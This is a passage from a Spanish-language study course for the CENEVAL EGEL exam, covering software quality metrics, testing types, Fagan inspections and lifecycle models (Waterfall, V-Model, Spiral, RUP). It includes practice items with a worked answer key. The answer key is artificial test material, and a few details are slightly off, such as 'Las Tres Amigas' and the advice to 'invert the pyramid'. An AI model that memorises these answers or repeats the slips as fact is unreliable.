Reemplazar la totalidad de las pruebas unitarias por pruebas de interfaz gráfica ejecutadas con Selenium  \nC) Aplicar el principio de la Pirámide de Pruebas: automatizar los flujos críticos de negocio y reorientar a los analistas de pruebas hacia pruebas exploratorias de alto valor  \nD) Eliminar las pruebas de regresión automatizadas para reducir los tiempos de compilación  \n\n### Reactivo 2\nDurante una auditoría de calidad de código en un sistema de despacho de ambulancias, se analiza la siguiente función:\n```c\nvoid despacharUnidad(int urgencia, float distancia, boolean disponible) {\n    if (urgencia \u003e= 3 \u0026\u0026 disponible) {\n        if (distancia \u003c 5.0 || urgencia == 5) {\n            asignarAmbulanciaAvanzada();\n        } else {\n            asignarAmbulanciaBasica();\n        }\n    } else {\n        encolarPeticion();\n    }\n}\n```\n¿Cuál es la complejidad ciclomática de McCabe $V(G)$ y cuál es la implicación directa para el equipo de pruebas?\n\nA) $V(G) = 3$; se requieren 3 casos de prueba para cubrir todas las líneas  \nB) $V(G) = 5$; se requieren al menos 5 casos de prueba independientes para garantizar la cobertura de caminos base  \nC) $V(G) = 2$; el código tiene bajo riesgo y no amerita pruebas automatizadas  \nD) $V(G) = 6$; el algoritmo es inmanejable y debe reescribirse en microservicios  \n\n### Reactivo 3\nUn sistema de streaming de video en vivo experimenta reinicios inesperados de sus microservicios de ingesta únicamente durante transmisiones especiales que superan las 36 horas ininterrumpidas de emisión continua, mostrando un incremento lineal en el consumo de memoria heap a lo largo del tiempo. ¿Qué prueba no funcional debió diseñarse durante la fase de control de calidad para predecir y evitar este defecto?\n\nA) Prueba de Carga (*Load Testing*) de 2 horas al 80% de capacidad  \nB) Prueba de Resistencia o Remojo (*Soak Testing*) prolongada durante más de 48 horas continuas  \nC) Prueba de Pico (*Spike Testing*) con ráfagas masivas de usuarios en 10 segundos  \nD) Prueba de Verificación de Requerimientos Funcionales en entorno Alpha  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.2.*\n","title":"4.2.5 Escenarios profesionales de toma de decisiones en calidad de software"},{"children":[],"contentMd":"# 4.2.6 Repaso Rápido y Tablas de Contraste: Calidad de Software\n\nEsta lección sintetiza los conceptos normativos, fórmulas matemáticas y distinciones operativas indispensables para asegurar los 20 reactivos de la **Subárea 4.2: Calidad de Software** en el CENEVAL EGEL.\n\n---\n\n## 1. Tablas Maestras de Contrastes\n\n### QA vs QC vs Testing\n| Dimensión | Quality Assurance (QA) | Quality Control (QC) |\n| :--- | :--- | :--- |\n| **Orientación** | **Proceso** de desarrollo de software. | **Producto** o artefacto terminado. |\n| **Objetivo** | **Prevenir** la introducción de defectos. | **Detectar y corregir** defectos existentes. |\n| **Acciones** | Auditorías de procesos, guías de estilo, pipelines de CI/CD, formación técnica. | Pruebas unitarias, funcionales, de rendimiento, inspecciones de código. |\n| **Naturaleza** | Proactiva. | Reactiva / Detectiva. |\n\n### Verificación vs Validación (V\u0026V - IEEE 1012)\n| Concepto | Pregunta Clave | Enfoque Principal | Ejemplos Típicos |\n| :--- | :--- | :--- | :--- |\n| **Verificación** | *\"¿Estamos construyendo el producto **correctamente**?\"* | Conformidad con las especificaciones técnicas y requerimientos de la fase previa. | Inspecciones de diseño, análisis estático de código, pruebas unitarias. |\n| **Validación** | *\"¿Estamos construyendo el producto **correcto**?\"* | Conformidad con las necesidades reales del usuario de negocio en su contexto operacional. | Pruebas de aceptación de usuario (UAT), pruebas beta en producción. |\n\n---\n\n## 2. Los 5 Niveles de Madurez de CMMI-DEV v2.0\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│ 5. EN OPTIMIZACIÓN: Mejora continua proactiva, análisis de causa raíz.     │\n├─────────────────────────────────────────────────────────────────────────────┤\n│ 4. GESTIONADO CUANTITATIVAMENTE: Métricas estadísticas, control de procesos│\n├─────────────────────────────────────────────────────────────────────────────┤\n│ 3. DEFINIDO: Estandarizado a nivel de TODA LA ORGANIZACIÓN (SEPG, activos).│\n├─────────────────────────────────────────────────────────────────────────────┤\n│ 2. GESTIONADO: Planificado y controlado a nivel de PROYECTO INDIVIDUAL.     │\n├─────────────────────────────────────────────────────────────────────────────┤\n│ 1. INICIAL: Caótico, ad-hoc, impredecible; depende del \"heroísmo\" personal. │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n\u003e **Regla Mnemotécnica CMMI**:\n\u003e * Proyecto aislado exitoso $\\rightarrow$ **Nivel 2 (Gestionado)**.\n\u003e * Toda la empresa sigue el mismo estándar $\\rightarrow$ **Nivel 3 (Definido)**.\n\u003e * Gráficos de control estadístico y matemáticas de procesos $\\rightarrow$ **Nivel 4 (Cuantitativo)**.\n\n---\n\n## 3. Las 8 Características de Calidad de ISO/IEC 25010 (SQuaRE)\n\n1. **Adecuación Funcional**: Completitud, corrección y pertinencia funcional.\n2. **Eficiencia de Rendimiento**: Comportamiento temporal (latencia), uso de recursos (CPU/RAM), capacidad máxima.\n3. **Compatibilidad**: Coexistencia en el mismo hardware e interoperabilidad mediante APIs estándar.\n4. **Usabilidad**: Capacidad de aprendizaje (*learnability*), operabilidad, protección contra errores del usuario y accesibilidad.\n5. **Fiabilidad / Confiabilidad**: Madurez, disponibilidad, **tolerancia a fallos** y **capacidad de recuperación**.\n6. **Seguridad**: Confidencialidad, integridad, no repudio, autenticidad y trazabilidad (*accountability*).\n7. **Mantenibilidad**: Modularidad, reusabilidad, analizabilidad, modificabilidad y **testabilidad**.\n8. **Portabilidad**: Adaptabilidad a otros entornos, facilidad de instalación y capacidad de reemplazo.\n\n---\n\n## 4. Métricas de Software y Fórmulas Esenciales\n\n### Complejidad Ciclomática de McCabe ($V(G)$)\n* **Por Grafo de Flujo**: $V(G) = E - N + 2P$ (con $P=1$ para un único método: $V(G) = E - N + 2$).\n* **Por Nodos de Predicado**: $V(G) = P_n + 1$ (donde cada condición `if`, `while`, `for`, `case` y cada operador booleano `\u0026\u0026`, `||` suma $+1$ a los predicados).\n* **Significado**: Representa el **número mínimo de casos de prueba independientes** necesarios para cubrir todos los caminos lógicos posibles (*Basis Path Testing*).\n* **Umbral de Alerta**: $V(G) \u003e 10$ requiere atención; $V(G) \u003e 20$ indica código de alto riesgo y difícil de probar; $V(G) \u003e 50$ es código inmanejable.\n\n### Cobertura de Pruebas (*Test Coverage*)\n* **Statement Coverage (C0)**: $\\frac{\\text{Líneas ejecutadas}}{\\text{Líneas totales}} \\times 100\\%$. *(Insuficiente: no prueba ramas falsas).*\n* **Branch Coverage (C1)**: $\\frac{\\text{Ramas evaluadas (True y False)}}{\\text{Ramas totales}} \\times 100\\%$.\n* **Mutation Score**: $\\frac{\\text{Mutantes aniquilados}}{\\text{Mutantes totales}} \\times 100\\%$. *(Mide la calidad y robustez de las aserciones de prueba).*\n\n---\n\n## 5. Tipos de Pruebas de Rendimiento\n\n| Tipo de Prueba | Carga Aplicada | Objetivo Crítico |\n| :--- | :--- | :--- |\n| **Carga (*Load*)** | Carga esperada normal o pico habitual. | Validar tiempos de respuesta y SLAs de operación continua. |\n| **Estrés (*Stress*)** | Carga progresiva más allá de la capacidad máxima. | Hallar el **punto de quiebre** y verificar la degradación elegante. |\n| **Resistencia (*Soak*)** | Carga moderada durante **períodos prolongados** (días). | Detectar **fugas de memoria (*memory leaks*)** y agotamiento de recursos. |\n| **Pico (*Spike*)** | Incremento súbito masivo en pocos segundos. | Evaluar capacidad de absorción y resiliencia ante avalanchas. |\n\n---\n\n## 6. Roles y Reglas de la Inspección de Fagan (IEEE 1028)\n\n* **Moderador**: Líder neutral del proceso; planifica, modera y realiza el seguimiento del retrabajo. **Nunca debe ser el autor ni el jefe del autor**.\n* **Autor**: Creador del artefacto; asiste para aprender y aclarar dudas puntuales. **No modera, no lee su propio código ni busca justificaciones**.\n* **Lector**: Ingeniero ajeno al autor que lee o parafrasea el artefacto línea por línea ante los inspectores.\n* **Registrador (Escriba)**: Registra los defectos clasificados de forma objetiva.\n* **Regla Inviolable**: **Durante la reunión de inspección está estrictamente prohibido discutir soluciones a los defectos**. La reunión es 100% para identificar y documentar anomalías.\n","title":"4.2.6 Repaso rápido y tablas de contraste: Subárea 4.2"},{"children":[],"contentMd":"# 4.2.7 Solucionario Analítico y Justificaciones Detalladas: Subárea 4.2\n\nEste documento presenta la resolución matemática exhaustiva, el marco normativo internacional y el análisis formal de distractores para todos los reactivos formativos de la **Subárea 4.2: Calidad de Software**.\n\n---\n\n## 1. Soluciones de la Lección 4.2.1 (QA vs QC, ISO/IEC 25010 y CMMI)\n\n### Reactivo 1\n* **Respuesta Correcta**: **B) Nivel 2 (Gestionado)**\n* **Justificación Teórica**:\n  En el modelo CMMI-DEV v2.0, el **Nivel 2 (Gestionado)** se caracteriza por una disciplina sólida en la gestión de proyectos individuales (estimación, seguimiento de requerimientos, control de versiones). Sin embargo, el rasgo distintivo de la pregunta es que *\"no existe un estándar corporativo ni una biblioteca institucional compartida entre las distintas áreas\"*. Cuando las prácticas se estandarizan transversalmente para toda la empresa con un grupo central de procesos (SEPG) y activos de proceso comunes, la organización asciende al **Nivel 3 (Definido)**. Por tanto, la empresa se encuentra en el Nivel 2.\n* **Análisis de Distractores**:\n  * *Nivel 1 (Inicial)*: Es descartado porque la empresa tiene proyectos gestionados de forma disciplinada y repetible a nivel individual.\n  * *Nivel 3 (Definido)*: Es el distractor más común, pero requiere obligatoriamente estandarización organizacional homogénea.\n  * *Nivel 4*: Requiere control estadístico de procesos con gráficos de control.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) Tolerancia a fallos y Capacidad de recuperación**\n* **Justificación Normativa**:\n  Bajo la norma **ISO/IEC 25010**, dentro de la característica de **Fiabilidad (*Reliability*)**:\n  * **Tolerancia a fallos (*Fault Tolerance*)**: Es la capacidad del sistema de operar según lo previsto a pesar de fallas en sus componentes de hardware o software.\n  * **Capacidad de recuperación (*Recoverability*)**: Es el grado en que, ante una interrupción o fallo imprevisto, el sistema recupera los datos directamente afectados y reanuda el estado operativo deseado (en menos de 1.5 segundos en este caso).\n* **Análisis de Distractores**:\n  * Integridad y no repudio pertenecen a la característica de *Seguridad*.\n  * Madurez mide la tasa histórica de fallos en condiciones normales, no la capacidad de failover instantáneo.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) Aseguramiento de Calidad (*Quality Assurance*), porque optimizan los procesos para prevenir la introducción de defectos**\n* **Justificación Teórica**:\n  El Director no se dedicó a probar el código ya compilado para ver si fallaba (lo cual sería *Quality Control*), sino que intervino sobre el **proceso de ingeniería**: estableció guías obligatorias de estilo, instaló herramientas de análisis estático preventivo (linters en pre-commit) y capacitó técnicamente a los desarrolladores. Estas son actividades paradigmáticas de **QA**, enfocadas en la prevención proactiva en el proceso.\n* **Análisis de Distractores**:\n  * *Control de Calidad (QC)*: Se orienta a inspeccionar y probar el producto terminado, no a rediseñar los estándares del proceso.\n  * *V\u0026V dinámico*: Exige ejecución de software; las guías y linters son estáticos y de proceso.\n\n---\n\n## 2. Soluciones de la Lección 4.2.2 (Métricas de Software, McCabe y Deuda Técnica)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) $V(G) = 5$; mínimo 5 casos de prueba**\n* **Justificación Matemática**:\n  Se utiliza el método de conteo de nodos de predicado: $V(G) = P_n + 1$.\n  Analizando las decisiones condicionales:\n  1. `anios \u003e 5`: Primer predicado ($+1$).\n  2. `\u0026\u0026 faltas == 0`: El operador lógico `\u0026\u0026` genera una segunda rama booleana independiente ($+1$).\n  3. `anios \u003e 2`: Tercer predicado en el `else if` ($+1$).\n  4. `|| faltas \u003c= 1`: El operador lógico `||` genera una cuarta rama booleana independiente ($+1$).\n  Total de predicados simples: $P_n = 4$.\n  $$V(G) = P_n + 1 = 4 + 1 = \\mathbf{5}$$\n  Según la teoría de *Basis Path Testing* de McCabe, la complejidad ciclomática equivale exactamente al número de caminos linealmente independientes, lo que exige un mínimo de **5 casos de prueba** para cobertura completa de la base ortogonal.\n* **Análisis de Distractores**:\n  * Quienes eligen $V(G) = 3$ cometen el gravísimo error de contar solo las palabras reservadas `if` y `else if`, ignorando que los operadores lógicos `\u0026\u0026` y `||` bifurcan el grafo de flujo de control.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) Prudente y Deliberada**\n* **Justificación Teórica**:\n  En el cuadrante de deuda técnica de Martin Fowler:\n  * Es **Deliberada** porque el equipo analizó conscientemente la situación y decidió explícitamente adoptar una solución temporal rápida para cumplir una fecha de demostración ejecutiva.\n  * Es **Prudente** porque el equipo documentó la limitación, midió los riesgos y agendó de inmediato su refactorización formal en el siguiente sprint, manteniendo el control de la deuda.\n* **Análisis de Distractores**:\n  * *Imprudente y Deliberada*: Habría sido si hubieran dicho *\"no nos importa la seguridad, dejemos los tokens genéricos para siempre\"*.\n  * *Inadvertida*: Ocurre cuando el equipo desconoce las buenas prácticas o no sabe que introdujo código deficiente.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) La cobertura de sentencias no evalúa el Grafo de Flujo de Control completo ni garantiza la evaluación de ramas alternativas ausentes o no ejecutadas**\n* **Justificación Teórica**:\n  La cobertura de sentencias (*Statement Coverage* / C0) es una métrica débil: solo certifica que cada línea de texto fue leída por el intérprete/CPU al menos una vez. No evalúa si existen combinaciones de entradas no contempladas, ni obliga a evaluar ramas falsas (`else`) cuando no están explícitamente escritas, ni evalúa condiciones de frontera. Si la suite nunca ingresó un divisor igual a cero, la línea que divide se ejecutó con éxito en las pruebas pero colapsa en producción.\n\n---\n\n## 3. Soluciones de la Lección 4.2.3 (Niveles de Prueba y Rendimiento)\n\n### Reactivo 1\n* **Respuesta Correcta**: **B) Prueba de Resistencia o Remojo (*Soak / Endurance Testing*)**\n* **Justificación Teórica**:\n  Una prueba que somete al sistema a una carga continua sostenida durante un período extenso (96 horas en este caso) con el propósito expreso de monitorear el consumo progresivo de memoria física y detectar fugas de recursos (*memory leaks*) es la definición formal de una **Prueba de Resistencia o Remojo (*Soak Testing*)**.\n* **Análisis de Distractores**:\n  * *Prueba de Estrés*: Aumentaría la carga hasta saturar y colapsar el sistema de inmediato.\n  * *Prueba de Pico*: Inyectaría avalanchas masivas en cuestión de segundos.\n  * *Prueba de Volumen*: Se enfoca en saturar la base de datos con millones de registros masivos en disco.\n\n### Reactivo 2\n* **Respuesta Correcta**: **A) El sistema superó la Verificación, pero falló en la Validación**\n* **Justificación Teórica**:\n  * **Verificación exitosa**: El software cumplió fielmente el diseño, los algoritmos y los requerimientos especificados en los documentos técnicos (*\"construir el producto correctamente\"*).\n  * **Falla de Validación**: El software entregado es inservible para el contexto operacional del cliente final porque la regulación cambió (*\"no se construyó el producto correcto\"*).\n* **Análisis de Distractores**:\n  * La opción B invierte los términos, un error recurrente de examen.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) $9.99, $10.00, $50,000.00, $50,000.01**\n* **Justificación Matemática**:\n  El Análisis de Valores Límite (*Boundary Value Analysis* - BVA) de dos puntos evalúa el valor justo en la frontera y el valor adyacente fuera de la frontera:\n  * Frontera inferior ($10.00):\n    * Valor inválido inmediatamente inferior: $\\$9.99$.\n    * Valor válido en la frontera: $\\$10.00$.\n  * Frontera superior ($50,000.00):\n    * Valor válido en la frontera: $\\$50,000.00$.\n    * Valor inválido inmediatamente superior: $\\$50,000.01$.\n  El conjunto mínimo es $\\{\\$9.99, \\$10.00, \\$50,000.00, \\$50,000.01\\}$.\n* **Análisis de Distractores**:\n  * La opción A utiliza valores arbitrarios dentro de la partición de equivalencia, no valores límite inmediatos.\n\n---\n\n## 4. Soluciones de la Lección 4.2.4 (Inspecciones de Fagan y Revisiones)\n\n### Reactivo 1\n* **Respuesta Correcta**: **B) Detener el debate de inmediato, solicitar al Registrador que documente la vulnerabilidad encontrada y ordenar al Lector continuar con la revisión del siguiente bloque de código**\n* **Justificación Normativa (IEEE 1028 / Fagan)**:\n  La regla más estricta de una Inspección Formal de Michael Fagan establece que **la reunión es exclusivamente para identificar y registrar defectos**. Discutir o diseñar soluciones en la sala devora el tiempo, pierde el foco y reduce la productividad de la revisión. El Moderador tiene la obligación protocolaria de detener la discusión, registrar el hallazgo y ordenar que la lectura continúe. La solución técnica será diseñada por el autor en la fase posterior de **Retrabajo**.\n* **Análisis de Distractores**:\n  * Votar o programar en vivo durante la reunión de inspección desvirtúa por completo el método formal de Fagan.\n\n### Reactivo 2\n* **Respuesta Correcta**: **C) Lector (*Reader*)**\n* **Justificación de Roles**:\n  El rol del **Lector** consiste específicamente en parafrasear o leer el artefacto paso a paso frente a los inspectores para sincronizar el ritmo de revisión. Al ser una persona distinta del autor, se eliminan los sesgos cognitivos y la lectura involuntaria de lo que el autor \"cree que escribió\" en lugar de lo que realmente está escrito.\n* **Análisis de Distractores**:\n  * El *Moderador* conduce la reunión y asegura el cumplimiento de tiempos, pero no lee el código línea a línea.\n  * El *Registrador* toma notas de las anomalías reportadas.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) La Inspección es liderada por un Moderador neutral con roles formales y foco exclusivo en detección de defectos; el Walkthrough es conducido por el propio Autor y persigue la familiarización, aprendizaje y consenso**\n* **Justificación Teórica**:\n  Bajo el estándar IEEE 1028:\n  * La **Inspección** es formal, tiene roles segregados, usa métricas obligatorias y es dirigida por un Moderador neutral para cazar defectos.\n  * El **Walkthrough (Recorrido)** es informal o semiformal, es guiado por el propio autor del trabajo, y su meta es explicar el artefacto, transferir conocimiento y recopilar retroalimentación abierta.\n\n---\n\n## 5. Soluciones de la Lección 4.2.5 (Escenarios de Toma de Decisiones)\n\n### Reactivo 1\n* **Respuesta Correcta**: **C) Aplicar el principio de la Pirámide de Pruebas: automatizar los flujos críticos de negocio y reorientar a los analistas de pruebas hacia pruebas exploratorias de alto valor**\n* **Justificación Profesional**:\n  El problema describe el antipatrón del \"cono de helado\" (*Inverted Pyramid*), donde el cuello de botella son miles de pruebas manuales lentas en la interfaz gráfica. Contratar más testers manuales solo eleva los costos sin resolver la lentitud del ciclo. La solución de ingeniería es invertir la pirámide: automatizar pruebas de integración y flujos críticos de extremo a extremo, apoyándose en la sólida base unitaria ya existente, y dedicar a los humanos a pruebas exploratorias complejas.\n\n### Reactivo 2\n* **Respuesta Correcta**: **B) $V(G) = 5$; se requieren al menos 5 casos de prueba independientes para garantizar la cobertura de caminos base**\n* **Justificación Matemática**:\n  Conteo de predicados condicionales:\n  1. `urgencia \u003e= 3` ($+1$)\n  2. `disponible` ($+1$, por el operador `\u0026\u0026`)\n  3. `distancia \u003c 5.0` ($+1$)\n  4. `urgencia == 5` ($+1$, por el operador `||`)\n  Total de predicados: $P_n = 4 \\implies V(G) = 4 + 1 = \\mathbf{5}$.\n  Se requieren como mínimo 5 casos de prueba independientes para *Basis Path Testing*.\n\n### Reactivo 3\n* **Respuesta Correcta**: **B) Prueba de Resistencia o Remojo (*Soak Testing*) prolongada durante más de 48 horas continuas**\n* **Justificación Profesional**:\n  El síntoma técnico observado (aumento lineal sostenido de memoria heap que termina en colapso tras 36 horas continuas) es la manifestación clásica de un **Memory Leak**. Las pruebas de carga o estrés convencionales duran de minutos a un par de horas, por lo que nunca alcanzan a detectar fugas lentas acumulativas. Solo una prueba de resistencia (*Soak Testing*) de larga duración permite evidenciar este tipo de degradación asintótica.\n","title":"4.2.7 Solucionario analítico y justificaciones detalladas: Subárea 4.2"}],"contentMd":"","title":"4.2 Calidad de software"},{"children":[{"children":[],"contentMd":"# 4.3.1 Modelos de Ciclo de Vida Predictivos: Cascada, Modelo en V, Espiral y RUP\n\nEl ciclo de vida del software define el marco de referencia estructurado que rige el desarrollo de un sistema informático desde su concepción inicial hasta su retiro operativo.\n\nPara el examen CENEVAL EGEL, es fundamental dominar la filosofía, fases, ventajas y criterios de selección de los cuatro grandes modelos de proceso tradicionales y predictivos: **Cascada (*Waterfall*)**, el **Modelo en V**, el **Modelo en Espiral de Boehm** y el **Proceso Unificado Racional (*RUP*)**.\n\n---\n\n## 1. El Modelo en Cascada Clásico (*Waterfall*)\n\nPropuesto formalmente por Winston Royce en 1970, el **Modelo en Cascada** es un enfoque secuencial y lineal en el cual cada fase del ciclo de vida debe completarse y validarse formalmente antes de que la siguiente pueda comenzar.\n\n```\n┌─────────────────────────┐\n│     Requerimientos      │\n└───────────┬─────────────┘\n            ▼\n┌─────────────────────────┐\n│     Diseño Técnico      │\n└───────────┬─────────────┘\n            ▼\n┌─────────────────────────┐\n│  Implementación/Código  │\n└───────────┬─────────────┘\n            ▼\n┌─────────────────────────┐\n│   Verificación/Pruebas  │\n└───────────┬─────────────┘\n            ▼\n┌─────────────────────────┐\n│  Despliegue/Mantenim.   │\n└─────────────────────────┘\n```\n\n* **Premisa Central**: Los requerimientos son completamente conocidos, fijos, estables y no cambiarán a lo largo del proyecto.\n* **Flujo de Trabajo**: Fuertemente documental. El paso de una fase a otra se formaliza mediante la aprobación de artefactos firmados (*Gateways* / Hitos).\n* **Mayor Vulnerabilidad**: **Retorno tardío del valor y retraso en la detección de errores**. El software ejecutable no existe hasta fases muy avanzadas (casi al final del cronograma). Si se cometió un error en los requerimientos iniciales, este se descubre cuando el costo de corrección es astronómico.\n* **Cuándo Seleccionarlo en el EGEL**:\n  1. Requerimientos totalmente claros, estables y congelados por contrato.\n  2. Dominios altamente regulados con rigurosas auditorías documentales (médico, nuclear, aeroespacial).\n  3. Proyectos donde la tecnología y las interfaces con el hardware ya son conocidas y no experimentarán cambios.\n\n---\n\n## 2. El Modelo en V (*V-Model*)\n\nEl **Modelo en V** es una evolución directa de la cascada que hace explícita la relación simétrica y bidireccional entre las fases de desarrollo (rama descendente izquierda) y sus correspondientes niveles de prueba (rama ascendente derecha).\n\n```\n         RAMA DE DESARROLLO                           RAMA DE PRUEBAS\n       (Verificación Temprana)                      (Validación y Ejecución)\n       \n┌───────────────────────────────┐               ┌───────────────────────────────┐\n│ Requerimientos del Negocio    │ ◄───────────► │ Pruebas de Aceptación (UAT)   │\n└───────────────┬───────────────┘               └───────────────▲───────────────┘\n                │                                               │\n┌───────────────▼───────────────┐               ┌───────────────┴───────────────┐\n│ Especificación de Requisitos  │ ◄───────────► │ Pruebas del Sistema           │\n└───────────────┬───────────────┘               └───────────────▲───────────────┘\n                │                                               │\n┌───────────────▼───────────────┐               ┌───────────────┴───────────────┐\n│ Diseño de Arquitectura        │ ◄───────────► │ Pruebas de Integración        │\n└───────────────┬───────────────┘               └───────────────▲───────────────┘\n                │                                               │\n┌───────────────▼───────────────┐               ┌───────────────┴───────────────┐\n│ Diseño Detallado de Módulos   │ ◄───────────► │ Pruebas Unitarias             │\n└───────────────┬───────────────┘               └───────────────▲───────────────┘\n                │                                               │\n                └───────────────► CODIFICACIÓN ─────────────────┘\n```\n\n### Regla Capital del Modelo en V (Pregunta Típica EGEL)\n* **Las pruebas se diseñan y planifican en paralelo a la fase de desarrollo correspondiente**, mucho antes de que el código sea escrito.\n  * Mientras se definen los *Requerimientos del Negocio*, se diseñan los casos de las *Pruebas de Aceptación*.\n  * Mientras se define la *Arquitectura de Software*, se planifican las *Pruebas de Integración*.\n  * Mientras se diseña el *Módulo Detallado*, se elaboran los casos de las *Pruebas Unitarias*.\n* Esto permite **detectar defectos en los documentos de diseño antes de codificar**, materializando el concepto de verificación temprana.\n\n---\n\n## 3. El Modelo en Espiral de Barry Boehm\n\nPropuesto en 1988, el **Modelo en Espiral** es un ciclo de vida evolutivo e iterativo cuya característica definitoria e irreductible es la **gestión sistemática de riesgos** en cada ciclo.\n\n```\n                           1. PLANIFICACIÓN\n                    (Objetivos, alternativas, restricciones)\n                                    │\n                                    │\n       4. EVALUACIÓN                │             2. ANÁLISIS DE RIESGOS\n         DEL CLIENTE                │            (Identificación, prototipos,\n    (Aprobación, feedback)          │             evaluación cuantitativa)\n  ──────────────────────────────────┼──────────────────────────────────►\n                                    │\n                                    │\n                                    │             3. INGENIERÍA Y\n                                    │                CONSTRUCCIÓN\n                                    │           (Diseño, código, testing)\n```\n\n### Los 4 Cuadrantes de cada Iteración en la Espiral\n\n1. **Determinación de Objetivos y Planificación**: Identificar requerimientos del ciclo, metas de desempeño y restricciones operacionales.\n2. **Análisis y Resolución de Riesgos**: **Es el corazón del modelo**. Se evalúan alternativas técnicas y se construyen **prototipos o simulaciones** dirigidas específicamente a despejar los riesgos identificados (ej. si el riesgo es la velocidad del motor 3D, se construye un prototipo rápido para medir FPS).\n3. **Ingeniería y Construcción**: Desarrollo, codificación y pruebas de la versión correspondiente al ciclo (puede utilizar Cascada, V o prototipos en esta etapa).\n4. **Evaluación del Cliente y Planificación de la Siguiente Fase**: El cliente revisa los resultados obtenidos; si el riesgo remanente es aceptable, se aprueba continuar con la siguiente espira del proyecto.\n\n\u003e **Criterio Clave EGEL**: Si en el examen se describe un proyecto de gran envergadura, altamente complejo, con **tecnologías novedosas e incertidumbre técnica severa donde el análisis continuo de riesgos es la prioridad absoluta** $\\rightarrow$ el modelo óptimo es la **Espiral de Boehm**.\n\n---\n\n## 4. Rational Unified Process (RUP)\n\nDesarrollado por Rational Software (luego adquirido por IBM) bajo la guía de Ivar Jacobson, Grady Booch y James Rumbaugh (\"Las Tres Amigas\"), **RUP** es un marco de desarrollo de software disciplinado, **dirigido por casos de uso, centrado en la arquitectura, iterativo e incremental**.\n\nRUP tiene dos dimensiones ortogonales:\n1. **Eje Dinámico (Tiempo)**: Fases del ciclo de vida y sus hitos formales.\n2. **Eje Estático (Contenido)**: Disciplinas de ingeniería y soporte (Modelado de Negocio, Requisitos, Análisis/Diseño, Implementación, Pruebas, Despliegue, etc.).\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                          LAS 4 FASES DINÁMICAS DE RUP                       │\n├─────────────────┬─────────────────┬───────────────────┬─────────────────────┤\n│   1. INICIO     │ 2. ELABORACIÓN  │  3. CONSTRUCCIÓN  │   4. TRANSICIÓN     │\n│  (Inception)    │  (Elaboration)  │   (Construction)  │   (Transition)      │\n├─────────────────┼─────────────────┼───────────────────┼─────────────────────┤\n│ Hito: Objetivos │ Hito:           │ Hito: Capacidad   │ Hito: Lanzamiento   │\n│ del Ciclo de    │ Arquitectura    │ Operacional       │ del Producto        │\n│ Vida (LCO)      │ Base (LCA)      │ Inicial (IOC)     │ (PR)                │\n├─────────────────┼─────────────────┼───────────────────┼─────────────────────┤\n│ • Alcance y     │ • Mitigación    │ • Desarrollo      │ • Despliegue a      │\n│   visión del    │   de riesgos    │   masivo del      │   usuarios finales  │\n│   negocio.      │   técnicos.     │   código y bases  │ • Migración de      │\n│ • Caso de       │ • Línea base de │   de datos.       │   datos.            │\n│   negocio y ROI.│   ARQUITECTURA  │ • Completar los   │ • Capacitación      │\n│ • Identificación│   ejecutable.   │   casos de uso    │   a soporte y       │\n│   casos uso 20% │ • Casos de uso  │   restantes (80%).│   operaciones.      │\n│   críticos.     │   clave (80%).  │                   │ • Pruebas Beta/UAT. │\n└─────────────────┴─────────────────┴───────────────────┴─────────────────────┘\n```\n\n### La Fase Crítica de RUP para el Examen: Elaboración (*Elaboration*)\nEl hito más importante y evaluado de RUP es la conclusión de la fase de **Elaboración**:\n* Su propósito **NO** es codificar el 100% de la funcionalidad (eso ocurre en Construcción).\n* Su propósito es **construir la Línea Base de la Arquitectura Ejecutable (*Architectural Baseline*)**, mitigar los mayores riesgos técnicos del proyecto mediante prototipos arquitectónicos y especificar en detalle la mayoría de los requerimientos funcionales.\n* Al superar la Elaboración (*Lifecycle Architecture Milestone*), los riesgos arquitectónicos quedan prácticamente extintos y el costo restante puede estimarse con alta certidumbre.\n\n---\n\n## 5. Tabla Comparativa de Modelos Predictivos\n\n| Modelo | Dinámica de Entrega | Enfoque Primario | Manejo de Cambios | Mayor Fortaleza |\n| :--- | :--- | :--- | :--- | :--- |\n| **Cascada** | Entrega única al final (*Big Bang*). | Secuencialidad rígida y disciplina documental. | Muy malo; los cambios son caros y traumáticos. | Claridad de hitos y contratos fijos con requerimientos estables. |\n| **Modelo en V** | Entrega secuencial al final. | Verificación y Validación simétrica temprana. | Malo; presupone estabilidad de diseño. | Prevención de defectos mediante planificación temprana de pruebas en cada nivel. |\n| **Espiral** | Entregas incrementales por ciclos/prototipos. | **Gestión y mitigación de riesgos** por cuadrantes. | Bueno; cada ciclo reevalúa riesgos y alcance. | Excelente para proyectos masivos, complejos y con tecnologías desconocidas. |\n| **RUP** | Incrementos ejecutables al final de cada iteración. | Dirigido por casos de uso y centrado en la arquitectura. | Moderado-Alto; absorbe cambios en iteraciones tempranas de Elaboración. | Robustez de ingeniería y mitigación temprana de riesgos de arquitectura. |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nUna agencia espacial gubernamental contrata el desarrollo del software de telemetría y control de propulsión de una sonda interplanetaria. Las especificaciones físicas del hardware y los protocolos de comunicación están completamente congelados y documentados en normas militares estrictas. La institución exige contractualmente que para cada nivel de abstracción del diseño (arquitectura global, diseño de subsistemas y módulos elementales) se entregue y apruebe formalmente la especificación correspondiente de pruebas de integración y pruebas unitarias antes de comenzar la codificación. ¿Qué modelo de ciclo de vida se alinea exactamente con este requerimiento?\n\nA) Scrum con sprints de una semana  \nB) Modelo en Cascada Clásico  \nC) Modelo en V (*V-Model*)  \nD) Proceso de Desarrollo Rápido de Aplicaciones (RAD)  \n\n### Reactivo 2\nDurante el desarrollo de un motor gráfico 3D de realidad aumentada, el equipo se enfrenta a una enorme incertidumbre respecto a si los procesadores de los teléfonos móviles comerciales podrán ejecutar los cálculos de oclusión en tiempo real sin recalentarse. El director de ingeniería decide organizar el proyecto en ciclos iterativos, donde la primera actividad de cada iteración es evaluar cuantitativamente las incertidumbres técnicas construyendo prototipos experimentales para validar alternativas antes de autorizar la inversión en la siguiente fase. ¿A qué modelo de ciclo de vida corresponde esta estrategia?\n\nA) Modelo en 